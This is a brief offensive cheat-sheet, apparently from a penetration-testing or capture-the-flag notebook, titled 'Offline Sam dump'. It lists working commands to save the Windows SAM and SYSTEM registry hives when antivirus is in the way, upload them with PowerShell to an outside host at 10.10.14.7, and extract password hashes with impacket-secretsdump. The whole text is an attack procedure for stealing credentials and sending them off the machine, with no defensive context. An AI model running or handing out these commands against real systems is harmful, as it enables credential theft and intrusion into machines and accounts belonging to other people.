Offline Sam dump

find yourself as admin but hindered by av

reg save HKLM\sam sam.sam
reg save HKLM\system system.system
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.7:80/', 'c:\programdata\sam.sam')
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.7:80/', 'c:\programdata\system.system')

impacket-secretsdump -system ~/uploads/system.system -sam ~/uploads/sam.sam LOCAL -history